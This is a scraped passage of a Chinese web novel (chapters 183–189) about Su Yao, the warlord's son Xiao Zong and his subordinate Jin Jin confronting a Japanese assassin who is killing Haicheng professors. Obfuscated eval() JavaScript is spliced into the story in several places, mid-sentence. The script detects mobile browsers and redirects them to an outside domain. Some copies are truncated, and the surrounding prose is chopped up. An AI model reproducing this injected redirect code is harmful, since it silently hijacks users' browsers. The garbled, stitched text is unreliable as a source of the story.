萧纵指尖不自觉颤了一下，很想替她抚平，却克制着没有动作，他回视过去，不闪不避，“我知道你不愿意跟我和好，所以，我只剩了这条路可走。” 他加重了语气，“苏姚，我要正式追求你。” 第183章 金锦 苏姚跟着沈知聿走了，萧纵一路把人送到门口。 陈施宁仰头看他，“你说什么了？她脸色怎么那么奇怪？” 萧纵抿紧了嘴唇不开口，陈施宁有些着急，戳了戳他的肩膀，“说话啊。” “她问我，” 萧纵咬牙，“昨天是不是撞到头了。” 陈施宁一愣，嘴角控制不住的抽了一下，他强压下了嘴角的笑，拍了拍萧纵的肩膀，“精诚所至金石为开，慢慢来。” 萧纵吐了口气，转身慢慢回了客厅，金锦还在，手里拿着一份名单在看，就是她刚才说的，坍塌致死的几位教授。 “怎么，想管？” 萧纵扶着沙发慢慢坐下，一开口先咳了一声。 金锦沉默下去，好一会儿才开口，“太嚣张了，少帅，他们太嚣张了。” 萧纵没言语，倒是陈施宁开了口，“世道就是这样，你我都是普通人，还能改了这世道啊？要我说，活一天算一天，别操心别的。” “……得了，” 金锦站起来，“陈少说得有道理，反正也改变不了，不如不看，不听，不说，属下告退了。” 她朝萧纵低头道别，转身往外走，手里的名单慢慢攥成了一个纸团。 “金锦。” 萧纵忽然开口，金锦脚步一顿，迟了两秒才转身，“少帅有吩咐？” 萧纵抬头看过去，手里的烟卷转了几个圈，他才慢慢点上，“身上脏了，收拾干净再出门。” 金锦低头看了自己一眼，指尖微微一蜷，答应一声才再次抬脚。 萧纵垂下眸子，慢慢抽烟，刚抽了一口就咳起来，陈施宁抬手把他的烟拿走，“你就不能戒了吗？” 萧纵不急不恼，又给自己点了一根。 陈施宁骂了句脏话，气冲冲走了。 萧纵看着空下来的客厅沉默许久，最后还是合眼摇了摇头，他不能冒险去做没有意义的事，他能保住自己已经不容易了。 夜色悄然降临，金锦猫一样藏在角落，等着大鱼上钩。 夜里闷热潮湿，这一小会儿，她脑门上都是汗，却仍旧贴在墙上没动。 隔着墙，有细碎的说话声传过来，时高时低的，像是在争论什么问题，金锦听不懂，注意力很快就被身边嗡嗡飞的蚊子吸引了过去，不多时，那蚊子就落在了她脸上。 她额角突突直跳，很想一巴掌拍上去，可她不敢发出声音，就在她忍耐到了极限的时候，细微的脚步声传了过来。 她精神一凛，将从后腰摸出一把短刀来，不能引人注意，那就索性不开枪。 这是一栋很不起眼的民居，上下两层，住的是海城出了名的学者，都是晚清时候出国留洋的人，回国致力于国家发展和教育，也在研究国内稀缺的药物和武器。 现在却被人盯上，随时会失去性命。 黑暗里的脚步声慢慢停下，很快翻墙跳进了院子里，对方显然提前来踩过点，直奔配电箱，金锦悄无声息地跟了过去，黑暗里，她手中的刀寒光一闪，正要落下，一支短箭射了过来。 比起她，对方谨慎得多，那箭头都涂黑了，连反光都看不见，她只能凭借本能躲过去，脸侧仍旧被划了一道血口子。 “你大爷的。” 她爆了句粗口，抬手一抹脸上的血，也顾不得别的，再次冲了过去。 对方也十分果断，不再理会配电箱，转身迎了上来。 黑暗里，亮光一闪，是武器碰撞溅出的火花。 对方和她一样，也选择了冷兵器。 两人一触即分，很快再次缠斗在一起，金铁碰撞声格外刺耳，几个回合下来，金锦被震得手掌发麻，这人看着纤细矮小，力气却极大，尤其是手里的武器很奇怪，是两把很短的弯刀，动作灵活又凶狠，让人防不胜防。 更糟糕的是，黑暗里还藏着一个放冷箭的人，这让她不得不分出心神来提防，一时竟然被缠得分不开神，冷不丁胳膊上又被划了一刀。 她咬紧了牙，今天好像不该自己来。 但有什么办法呢？ 萧翼受了伤，萧纵身边也离不了人，而且这件事，真的不能摆到明面上来插手。 实在不行…… 她反手摸向后腰，黑暗里一声闷哼忽然传来，金锦猛地抬头，就瞧见黑暗里，有道模糊的人影从墙上跳了下来，随着对方落地，有什么东西也摔了下来，空气里迅速弥漫开血腥味。 她极快地反应了过来，应该是放冷箭的那个**了。 可**的这道黑影，是敌是友呢？ 她谨慎地往后退了两步，刚才和她缠斗的那个矮个子却忽然毫无预兆地跑了。 她往前追了两步，对方速度却极快，眨眼间就消失在了夜色里。 金锦只能放弃，警惕地盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786347|171294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着对方，她不知道对方的目的，对方似乎也拿不准她的。 “你是什么人？来这里干什么？” 她开口质问，对方似乎愣了一下，随即转身就走。 金锦也愣住了，这是什么意思？ 可她仍旧没追，反而抬手敲响了民居的门，对方还会来的，她必须将这两家人转移到安全位置。 等她将人安顿好后，那道黑影才从拐角处冒出来，轻轻拽下了蒙在脸上的面巾，露出了苏姚那张脸。 “金锦……” 她喃喃开口，她也是得了命令，来转移两位教授和其家人的，但没想到会在这里遇见金锦，她不想暴露自己和组织的存在，所以选择了退让。 最重要的一点是，她是信任金锦的，对方没有任何理由对高知分子下手。 只是既然掺和进来了，就得找个替罪羊。 苏姚蒙上脸，折返回了小楼，将那具尸体拖进去，随手点了一把火，等火势烧起来的时候，她手一扬，一枚扣子咕噜噜滚进了角落里。 尘埃落定，她悄无声息地回了沈公馆。 沈知聿落后一步回来，神情紧张，“去晚了吗？他们怎么样了？” “被金锦带走了，这是藏身的地方。” 苏姚将一个地址交给沈知聿，对方怔了一下才接过去，“萧纵也掺和了？” “不一定。” 苏姚轻轻摇头，“萧纵这个人，不会做冒险的事，如果是他插手，今天我遇见的应该不只是金锦一个人。” 沈知聿深表赞同，“所以，是金锦个人行为。” “不管是不是，我都把矛头对准了办事处，” 苏姚冷声开口，“他们越乱，我们才越安全。” 她指尖轻轻摩挲了一下小腿，她记得褚英也在办事处，虽然她顾不上私人恩怨，但如果能捎带地讨一下债，她也是很乐意的。 民居失火的事，很快就传开了，因为之前也发生过教授出事的消息，学生们立刻意识到这是一场有针对的暗杀，顿时群情激奋，开始围堵在警局****，逼着他们找出凶手。 第二天的报纸上，全是这些消息，却并没有提起办事处，也不知道消息是被压住了，还是没发现那枚扣子。 苏姚凝神思索，萧纵的电话忽然打了进来。 她心头微微一跳，这时候打电话过来，是昨天金锦认出她了吗？ 第184章 阴魂不散 她压下心里的不安，从佣人手里接过了电话。 “有事吗？” “找你说说话。” 萧纵带笑的声音从电话那端传过来，听起来心情似乎很不错，苏姚稍微放了点心，“你很闲吗？” 电话那端传来两声闷笑，苏姚抬手挂了电话。 不多时，电话铃声又响了起来，苏姚怕错过重要电话，不得不接，可一接通，萧纵的声音就又传了过来，“别急着挂……” 苏姚再次挂断电话，几秒后电话再次响起，苏姚皱着眉接起来，这次萧纵没有废话，言简意赅道，“你不是怕热吗？我准备了些冰，让人给你送过去。” 话里没有恼怒，都是无奈。 苏姚再次挂断了电话，脸却都皱了起来，她印象中的萧纵阴险狡诈，脾气莫测，是每句话都要让人仔细斟酌才敢说出口的人。 可现在，她竟然从萧纵身上，感觉到了死皮赖脸。 真是疯了。 她揉揉眉心，低头继续去看报纸。 那个用短弯刀的跑了，这让她的心脏一直提着，沈知聿也一直在找人，按理说，一个倭国女人，应该不难找的，可就是没有线索。 只有千日做贼，没有千日防贼的，所以犹豫再三，她还是决定引蛇出洞。 和沈知聿简单商量过后，第二天报纸上就刊登了唐黎出现的消息。 苏姚学着唐黎的样子，剪短了头发，戴了副眼镜，换上一身宽松简约的袍子，暂时住到了一处十分隐蔽的宅子里。 选择假扮唐黎有两个理由，一是她名声在外，这次的绞杀，很有可能她才是最终目标；二则是，她在萧纵手里，他们找不到，对方同样也找不到，能确保她的安危。 其实还有第三个理由，只是侥幸心理太大，他们或许可以通过打草惊蛇，让萧纵那边露出马脚，万一他去查看，或者和那边联系，他们就有可能找到真正唐黎的藏身地。 “今天有动静吗？” 电话里，传来沈知聿紧张的询问，苏姚叹了口气，“他很沉得住气，恐怕不会轻易冒险，我们是不是做得太明显了？” “就算有怀疑，他也会试一试的。” 沈知聿开口，语气笃定，“我们再等等。” 苏姚应了一声，挂断了电话，刚要站起来，电话就又响了。 “喂。” 她抬手接起来，还以为是沈知聿落下了什么事情没说，没想到电话那端传来的却是萧纵的声音，为了避免对方察觉到她已经不在沈家了，偶尔沈知聿会把他的电话转接过来。 “昨天的西点喜欢吗？” 苏姚侧头，无声地吐了口气，她越发觉得萧纵疯了，他需要养伤，轻易不能出门，可这半个月以来，却没有一天消停，电话不停地打，说的都是些莫名其妙的事情。 什么鲜花，西点，他还送了一张苏姚以前的唱片过来。 苏姚想起他那句重新追求，只觉得无比嘲讽。 如果不是还不到彻底撕破脸的时候，她真想直接拆穿他。 “没吃。” 她冷冷开口，一点面子都不给。 电话那端静了一下，随即传来一声叹息，可萧纵又很快笑了起来，“你最近心情不错啊，都肯和我正经说话了。” 苏姚一把挂断了电话，脸都皱在了一起，她现在越发觉得萧纵可怕了，等他拿到自己想要的，不知道要怎么报复她呢。 她吐了口气，将这些烦乱的思绪压下，戴上眼镜出了门。 她每天这个时间会带着个保镖去一趟书店，一路上谁也不理会，身后响起脚步声，她回头看了一眼，是个十来岁的孩子，似是并没有察觉到她的目光，蹦跶着往前走。 “小孩，” 保镖开口，语气很凶，“天要黑 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外头无人应答，敲门声更急了，保镖双手**，悄然靠近，透过门缝朝外头看去，可只是一眼，他脸色就凝重了起来，转身朝着苏姚，用口型传达消息，“是萧纵。” 苏姚愣住，萧纵找到这里来了？ 还真是阴魂不散。 这人可不懂什么是礼貌，她能确定，只要门一开，他绝对会闯进来。 可这里还有电台和资料，转移和首饰都需要时间…… 她朝保镖做了个手势，自己快速换了套衣裳，将头发塞进了帽子里，从后门绕了出去。 敲门声还在继续，萧纵耐心告罄，**已经上了膛，“开门，别逼老子闯进去。” 保镖额头上的汗都下来了，死死抵着门不敢动。 萧纵活动了一下脚腕，正打算硬闯，身后响起了苏姚诧异的声音，“少帅，你怎么在这里？” 第185章 他就是凶手 萧纵动作顿住，眼睛却亮了起来。 他转身就瞧见苏姚站在巷子口，下意识地就走了过去，“你怎么在这里？” “我听说唐小姐在这里，” 苏姚捏紧了手包，面上却一片平静，“她不是天才吗？万一能治我的腿呢？” 萧纵眼神蓦地一暗，刚才的亮光散了个干净。 “这里的人治不了你。” “怎么可能？” 苏姚失声反驳，“你们明明都说她很厉害。” 萧纵无奈地叹了一声，“我骗你干什么？你跟我回去，我能治你的病。” 苏姚扭头走，耳朵却竖起来，听着身后的动静，好在萧纵还对她有所图谋，抬脚就追了上来。 苏姚心下一松，脚下走得更快，等拐进了另一条路，她才开口，“你跟着**什么？” “天黑了，我送你回去。” 苏姚怎么可能跟他走，她还要在这里守株待兔呢。 “不用你管，你走你的。” 她索性停了下来，试图用目光逼退萧纵。 萧纵却纹丝不动，仿佛根本没看见她眼里的排斥一样，“晚上不安全，坐车快一些，我又不会强行带你回帅府，不用这么忌惮我。” 他不说，苏姚还没想到，他一开口，苏姚的眼神就立刻凌厉了起来，“你原来打的这个主意？” 萧纵搬起石头砸自己的脚，一时间很想给自己一巴掌。 胡说八道什么呀。 “我只是随口一说，没有那个意思，真的。” 苏姚扯了下嘴角，看起来一点都没听进去。 萧纵无奈地叹了口气，语气软和下来，“海城的路灯毁了大半，已经不能照亮这里了，你看看天色，马上就要黑了，再不回去，你该害怕了。” 苏姚目光一颤，不自觉落在了萧纵身上。 怕黑这件事，他还记着呢？ 这男人，一旦用心算计起来，真是面面俱到，什么细节都不会遗漏。 她仍旧摇头，“你先走，你走了我就走，我不会上你的车的。” “行。” 萧纵举手投降，“会开车吗？你自己开行了吧？我不上去。” 他说着将钥匙扔了过来，苏姚又给他扔了回去，她哪有时间去学车？ 光思想教育和练枪，就把她的那一年占满了。 “我不开，你到底走不走？” 她语气里带了点恼怒，萧纵听出来了，被迫后退，“别生气，这样，我开车跟着你走，我用车灯给你照明总行了吧？你一个人我真的不放心。” 他说着又生起气来，“沈知聿是头猪吗？**你怕黑吗？连个司机都不给你派？” 苏姚眉毛一竖，这人阴魂不散就算了，怎么还骂人呢？ “我们的事，轮不到你管。” 她脱口而出，听得萧纵的脸色瞬间沉了下去，却没发作，只闷闷开口，“我去开车。” 他转身走了，苏姚没有阻拦，开车总需要时间，她完全可以趁这个时间离开。 男人的身影很快消失在眼前，苏姚心下一松，连忙转身往回走，她速度极快，唯恐被萧纵堵住，等拐过两条巷子，她才松了口气，可一转身，一个眼熟的孩子映入眼帘。 这是刚才，跟着她的那个孩子。 瞳孔猛地一缩，苏姚心中警铃大作，一个孩子，不可能这么巧地出现在她身边两次。 但她面上仍旧不动声色，只将手探进了手包里。 “姐姐，” 那孩子仰头看过来，说话间慢慢靠近，“我迷路了，你能送我回家吗？” 他越来越近，苏姚的注意力集中在他的发顶，这个身高…… 她想起那天晚上见过的那个人，当时下意识以为纤细矮小的会是女性，可也有可能是没长大的孩子……不，这不可能是个孩子，应该是个矮小症。 “好啊。” 她不动声色开口，抬手朝他伸了过去，那孩子手一抖，两抹寒光就落在了手里，随即猛地扬手，朝她颈侧划过来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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电光火石间，他生生拧转腰身，改变了姿势，侧身一踹，将那东西踢飞出去。 随着一声闷响，那东西嵌进了墙里，他这才看见，那是一只造型十分奇怪的短弯刀。 而弯刀的主人，正是之前纠缠苏姚的孩子。 他终于意识到了不对劲，神情严肃起来，“你是什么人？” “你刚才，骂谁兔崽子呢？” 对方阴恻恻开口，没有完全长成的身体里，却发出了成年男性的声音，极致的反差油然而生一股恐怖感，萧纵也不自觉皱起了眉头。 “你不是个孩子？” 他很快意识到了更严峻的问题，这人的口音，他是倭国人。 他语气沉了下去，“海城大学的教授们，是你杀的？” 对方将手里的弯刀转了个圈，眼神凶狠阴鸷，“不光他们，你也是！” 他握紧弯刀冲了过来，萧纵最烦别人不听话，尤其是刚才还在苏姚那里吃了一肚子气，不闪不避，正面迎了上去，他一把捏住对方的武器，反手和他狠狠撞了一拳。 指骨却隐隐作痛，他很是惊讶，这小矬子竟然有这么大的力气。 他忽然想起刚才这人朝苏姚冲过去的情形，这一拳要是砸在苏姚身上…… 心里一突，他眼神立刻阴鸷起来。 他狠狠一拳又砸了过去，两人再次硬碰硬撞了一下。 这一拳，震得萧纵手都麻了，也将两人之间的距离硬生生拉开，对方却仿佛没受到影响，怪笑一声又冲了过来，手里的武器在夜色下，反射着让人心惊的寒光。 他语气嚣张又轻蔑，“我天生神力，没有人是我的对手……” 一声枪响，打断了小矮子的嚣张话语，伴随着一声惨叫，他栽倒在地，大腿上正汩汩冒出血来。 他神情狰狞，一阵怪叫。 萧纵拿着枪走过去，“老子又不是没枪，和你硬碰什么？” 他骂了一声，抬脚走了过去，对方还想攻击，他又是一枪打在对方手腕上。 凄厉的惨叫声打破了夜空的寂静，苏姚脚步猛地顿住，迅速折返了回去，到巷子口的时候，就看见萧纵正在踹那小矮子的头。 她愣住，这刺客又回来了？ 她满心的不可思议，跑了又回来？这人身体有问题，脑子也有吗？ 她其实该高兴的，可因为太过震惊，一时竟没顾得上，直到萧纵将人踹晕过去，发现了她。 “你没事吧？” 他军靴上还沾着血，眼底的狠辣却已经退了下去，只剩了关切。 苏姚下意识回避了他的目光，紧紧盯着地上的人，这人刚才有没有透露什么？尤其是她假扮唐黎的事，如果没说，她得想办法把人处理了，免得多生事端。 “这孩子怎么在这里？” 她试探着开口，萧纵难得听她这么平和地和自己说话，脸上瞬间带了笑，“我也不知道，刚才忽然发疯冲出来和我对了两拳，我给了两枪才老实。” 苏姚一时无言以对，这人仗着他们在暗地里行动，不敢开枪，一向嚣张，可没想到，会碰上萧纵这个比他更嚣张的人。 “看着年纪不大，你想怎么处理？” 苏姚温声开口，试图让萧纵放对方一马。 毕竟只有脱离萧纵的视线，她才能把人解决。 “这人不简单，身上藏着不少秘密，我会让人来审的。” 苏姚心里一跳，让人来审？那她假扮唐黎钓鱼的事，不就暴露了？ 面上她仍旧不动声色，“也好。” 她现在很想和萧纵一起走，可忽然改口太刻意了，她努力思索，试图找到一个合理的理由。 “你看，路上多危险。” 不等她想出来，萧纵先开了口，“还是让我送你回去吧，而且，天也彻底黑……” 他忽地顿住，刚才苏姚是从漆黑的小巷子里折返回来的，却没有一点异样。 “你……不怕黑了？” 他满是惊讶，苏姚抓紧了手包，打从学会了开枪，她就不怕黑了，但这件事显然不能告诉萧纵。 “离开了海城，就不怕了。” 她敷衍了一句，萧纵却想多了，苏姚怕黑，起因果然也是在他吧。 “让我送你回去吧。” 他低声开口，甚至带了几分恳求。 苏姚心下一松，装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796862|171294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模作样地犹豫了一下，还是点了点头，“行，麻烦你了。” “不麻烦。” 萧纵眼睛亮了一下，整个人都高兴起来，弯腰拉起那倭国人的腿，拖着他就往前走。 “车在前面。” 他和苏姚解释，可这话听在苏姚耳朵里，却只有一个意思，留给她的时间不多了。 要在抵达车上之前合理地解决这个人。 她又摸了下手包，里头放着一枚**，只要她激怒这个人，再在合适的时机将**扔下，那就能用他想同归于尽的说法将事情糊弄过去。 风险是有的，不留神她和萧纵可能都会被波及，但现在不得不赌这一把。 “你刚才说他不简单？” 她斟酌着开口，“不就是个孩子吗？能有多不简单？” “他可不是个孩子，” 萧纵含笑开口，目光落在倭国人身上时，瞬间冷了下去，“说话。” 他想让苏姚听听这人的声音，可对方却并不配合，只用猩红的，充满仇恨的目光死死盯着他。 萧纵一哂，随即抬腿，一脚踢在对方腿间，杀猪似的惨叫瞬间冲破云霄，声音凄厉惨烈，却不是孩子稚嫩的嗓音。 “我要杀了你，我要杀了你！啊！” 那倭国人疼得浑身抽搐扭曲，却被萧纵抓着腿，牢牢禁锢在原地。 苏姚往后退了一步，却不是因为害怕，而是为了遮掩眼底的亮光。 萧纵这是把现成的理由送了过来，就凭刚才这举动，应该没人会怀疑这倭国人的同归于尽是假的吧？ 但萧纵仍旧不解气，他又狠狠踹了一脚，“刚才朝她扑过去的时候，不是很嚣张吗？叫啊，给老子叫啊！” 对方已经没了力气，烂泥一般瘫在了地上。 “别打了，不是还要审吗？打**怎么审？” 苏姚假意拦了拦萧纵，故意开口求情，趁着对方被自己转移走注意力的时候，将**拔了环，扔到了那倭国人怀里。 对方很快意识到那是什么，尖锐地叫了起来，苏姚头都没回，纵身就想跳开，她几乎已经能感觉到**带来的冲击了。 身后却忽然贴上来一道温热结实的胸膛，将她牢牢压在了身下。 第187章 争风吃醋 苏姚一愣，不敢置信地仰起头，萧纵的碎发垂下来，扫在她额头。 这个人…… 她过于震惊，脑海里都空白了一瞬，不知道萧纵在抽什么风，一颗**而已，不至于在有所防备的情况下还被炸死，可是，他为什么要扑到自己身上来？ 他们之间，可不是保护的关系。 随着一声惨叫，**很快归于平静。 如同苏姚所说，一颗**，炸不死三个人，也造成不了很大的影响，甚至都没有人过来查看。 可气氛仍旧莫名的紧绷，许久之后，苏姚才掀开身上的人，目光下意识扫过那倭国人，确定人已经死透了，她才长出一口气。 萧纵抖了抖身上尘土，抬眸朝她看过来，“你没事吧？” 苏姚神情十分复杂，迟疑了很久，还是岔开了话题，“你刚才没搜身吗？他身上怎么还有**？” “没顾得上。” 萧纵无奈开口，眉头却微微皱了起来，他虽然的确没顾得上搜身，但刚才拖着人走的时候的，还是扫了这人一眼的，那么大个**，带在身上不可能没有痕迹，他竟然没瞧见。 是夜色太深，让他忽视了问题吗？ 他蹲下身，仔细去检查那倭国人的身体，对方已经被炸得焦黑，看不出本来的面容了，他摩挲了一阵，才从他的身体上拔出了一枚沾满了血肉的弹片。 他在尸体上擦了擦血迹，借着打火机微弱的光亮仔细查看。 这**太突然了，总觉得哪里不对劲，说不定能从这弹片上找到什么线索。 “你在看什么？” 苏姚忽然开口，萧纵收回思绪，手下意识抬了抬，想给苏姚看一眼，对方却往后退了一步，面露嫌弃，“脏兮兮的。” 萧纵无奈，现在的苏姚脾气大了，也娇气了。 动不动就嫌弃，也不知道是真的嫌弃这弹片，还是嫌弃他，所以捎带上了。 但他不敢问，只好拿出了帕子，打算包起来带回去。 “这么脏，你要放在身上吗？” 苏姚再次看过来，精致的眉峰蹙着，有点好奇，有点新鲜，更多的还是排斥。 萧纵忽然想起来，以前自己从外头回去，苏姚央求自己洗澡的事情来。 那时候的苏姚，还有点小脾气，她不喜欢硝烟和血腥的味道，或者说，她很排斥这种味道。 这么久下来，还没习惯吗？ 他轻叹一声，将弹片又扎回了尸体身上。 算了，让萧翼来验尸吧。 人已经**，他也不着急把人带回去，只打开车门邀请苏姚上车，“送你回去吧，以后晚上别一个人出来……沈知聿就不知道跟着你吗？” 他不想提这个人，但总是忍不住，想起这个挖自己墙角的王八蛋，他浑身的肌肉就都绷了起来。 “他忙。” 苏姚开口辩解，说话间瞥了他一眼，“跟你一样忙。” 萧纵猛地踩下刹车。 好在车速并不快，虽然刹车很忽然，苏姚却还是稳稳地坐在副驾上。 “怎么了？” 她侧头看过去，不明白萧纵在抽什么风。 “没事。” 萧纵活动了一下手指，抬手调整了一下后视镜的位置，却根本不是为了看后头，而是将苏姚的脸完全映照进了镜子里。 这么久以来，苏姚总算肯正经和他说话了，甚至还提起了以前。 虽然不是什么好事，但他仍旧有种看见了希望的感觉。 心头止不住地颤动，他呼吸都凌乱了起来，仿佛即将渴死的人，终于看见了绿洲。 他深吸一口气，平复了凌乱的呼吸，再次踩下油门，汽车稳稳当当地朝前行进。 只是十分钟过去了，他们还没开出这条街。 “少帅。” 苏姚忍不住开口，“车是不是没油了？” 说着她看了眼表盘，显示油箱是满的。 萧纵侧头咳了一声，“我腿有点抽筋，不敢开快。” 苏姚沉默了很久才开口，“那不然，你在这里休息，我先回去，再让人来接你。” “不行！” 萧纵一口回绝，似是意识到自己的语气固有强硬，他连忙又缓和了态度，“你刚才也看见了，倭国人横行霸道，现在的海城不安全，尤其是夜里，你不能一个人走。” “好吧，” 苏姚没和他争辩，却仍旧伸手去开车门，这个车速，她甚至不需要等萧纵停车才能下车。 “你去干什么？” 萧纵也有些慌，一把抓住她的手腕。 “去找个地方打电话。” 苏姚无奈解释，“你开不了车，总不能勉强吧？找个人来接我们。” “……” 萧纵一时被堵得哑口无言，根本不知道该怎么拒绝这个过于合理的要求。 好一会儿他才叹了口气，“我的腿，好像不抽筋了。” “真的？” 她目光里满是怀疑，但萧纵脸皮厚，强装出了一副镇定自若的模样。 “真的，我骗你干什么？” 苏姚这才重新坐好，关上了车门，车子却仍旧没有加速。 她再次侧头看过去，“少帅？” 她加重了语气，带着点警告，萧纵恍然回神，目光却落在自己手上，他的掌心里， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧纵胸膛剧烈起伏起来，天黑了让她自己出门，这么不负责任的事情沈知聿都做了，苏姚竟然还护着他！ 他气不打一处来，可也知道再说下去，苏姚只会更维护，为了不给自己添堵，他只能咽下了这口气，转身上了车。 “少帅？” 苏姚忽然开口，萧纵迅速转身，“怎么了？” 苏姚眼神颤了颤，“你背上……” 第188章 这就是命 之前一直没注意，刚才萧纵一转身，她才瞧见他背上被血迹晕湿了一块，好像是扎进去弹片了。 萧纵茫然地动了动肩胛，这才察觉到疼，后知后觉反应过来自己受伤了，但伤口应该不深。 他凭着感觉找到了伤口，抬手将弹片拔了出来，“没事。” 他扔了弹片，转身要走，忽然又想起来陈施宁的话，他试探着开口，“你明天……来看看我，可以吗？” 苏姚的目光一直盯着地上的弹片，却沉默着没开口。 “……我先回去了。” 萧纵没再强求，打开了车门。 “好。” 苏姚的声音忽然响起来，萧纵动作顿住，猛地抬头看过来，眼睛里像是吸满了光，亮得有些晃眼，“你说真的？” 苏姚点了下头，神情十分复杂，“这枚弹片，本来该在我身上的，我的确该去探望你。” 萧纵铮亮的眼睛暗了几分，却仍旧很高兴，几乎是下意识地走了过来。 却被沈知聿拦住。 对方眉头皱着，一看就不高兴。 可他不高兴，萧纵就更高兴了，高兴到甚至没有心思和他再争风吃醋。 “那我明天等你。” 他没再多言，唯恐多生事端，上车就走了。 车子很快消失在沈家的灯照之下，苏姚这才弯腰，将地上的弹片捡了起来。 “进去吧。” 沈知聿催了一句，等四下无人，他才再次开口，“发生什么事了？萧纵怎么会出现？” 提起这一晚上的经历，苏姚后心都有些发麻。 “那个人已经处理了。” 苏姚将这一晚上发生的事情详细说清楚，听得沈知聿也有些胆战心惊，如果今天那倭国人没有出现，那明天出现的，说不定就是萧纵的人了。 他在海城行动起来，可没有掣肘。 “你立了大功。” 他有些激动地看着苏姚，“幸好你当机立断，行事果决，一旦人真的活着被萧纵带回去，那我们肯定会被盯上。” “我也是怕夜长梦多，才冒险一试，好在没有引起怀疑。” 她目光落在那枚弹片上，“为防万一，明天去帅府的时候，我们再侦查一下，以此为契机，我会慢慢留在帅府。” 沈知聿眼底闪过惊讶，“这的确是个好机会，但我以为，你真的是为了感谢他才去的。” 大约是没想到他会这么说，苏姚也愣了一下，神情古怪地看着他，“你觉得，他这种人，如果没有利益可图，真的会救我？” 萧纵猛地打了个喷嚏，管家猝不及防，被喷了一脸唾沫，他抬手擦了擦，有些无奈又有些担心，“是不是中暑了？” 萧纵摆摆手，“我没事，别搁这杵着，赶紧收拾打扫一下，该擦的擦，该换的换，明天苏姚就要过来了。” 管家的脸色有些一言难尽，帅府不是日日都打扫吗？那还用得着特意收拾？ 再说，苏姚又不是头一回来，她都在这里住了六年了，哪里还需要搞这一套？ “少爷……” 他忍不住开口，想劝一劝过于兴奋的萧纵，对方却根本没心思听，见桌子上放着块抹布，拿起来就擦桌子。 管家吓了一跳， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801708|171294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙上前抢了下来，萧纵什么时候干过这种活？ 他不敢再废话，将佣人们都折腾起来，擦洗洒扫，连柜子都挪开，将背后的墙面擦了两遍。 搬搬抬抬的东西太多，大兵们也被喊进来帮忙。 帅府一时间比过年都热闹。 后半夜，萧茵也被吵醒了，一听说苏姚明天来，眼睛一亮，竟然也跑去帮忙了。 管家连忙将人喊回来，萧纵干他都看不下去，更何况是萧茵呢？ 只是刚把萧茵看住，一扭头萧纵就又不见了，找了半天，才发现他正试图把凉亭的石桌石凳拆下来，换一套新的。 “少爷！” 他连忙将人拦住，“苏姚习惯了这一套，不好随便换了，就算真的要换，也得等新的做好了送过来才行啊。” 萧纵拍拍头，“你说得对，我太着急了，我回房间看看，说不定苏姚会住下。” 他抬脚要走，管家连忙追上去，“我收拾，我去收拾就好……” 萧纵充耳不闻，反而是萧茵挣脱了他的手，朝萧纵追了上去，“大哥，我也帮忙。” 管家折腾了半天，一个都没看住，只能跟了上去。 苏姚的房间宽敞了不少，这阵子，萧纵一直住在这里，房门一开，都是药膏的苦涩味道。 兄妹两人正拼命喷香水，试图驱散屋子里的怪味，将这里恢复成之前苏姚离开时的样子。 管家本来想阻拦的，可看着两人努力的样子，脚下忽然就被黏住了，他站在门边怔怔看着，许久后，轻轻叹了口气。 兜兜转转，兴许，这就是命啊。 第189章 这样的上封好丢人啊 帅府忙活了一宿，太阳升起来的时候，佣人还在打呵欠。 萧纵倒是精神抖擞，一早就站在门口来回踱步，萧翼也木头桩子似的戳在一旁。 管家惦记着两人身上的伤还没痊愈，生怕他们累着，“少爷，咱进去等吧，苏小姐也不能在这里下车。” 萧纵摆摆手，“别吵我，他们快到了。” 他撸起袖子，看腕表的时间，随即眉头皱了起来，等了这么久，怎么才八点？” “算了，我去接她。” 他抬脚就要走，管家想拦，却吃了一嘴尾气。 但没多久，车子又退了回来，沈家的车紧随其后，停在了帅府门前。 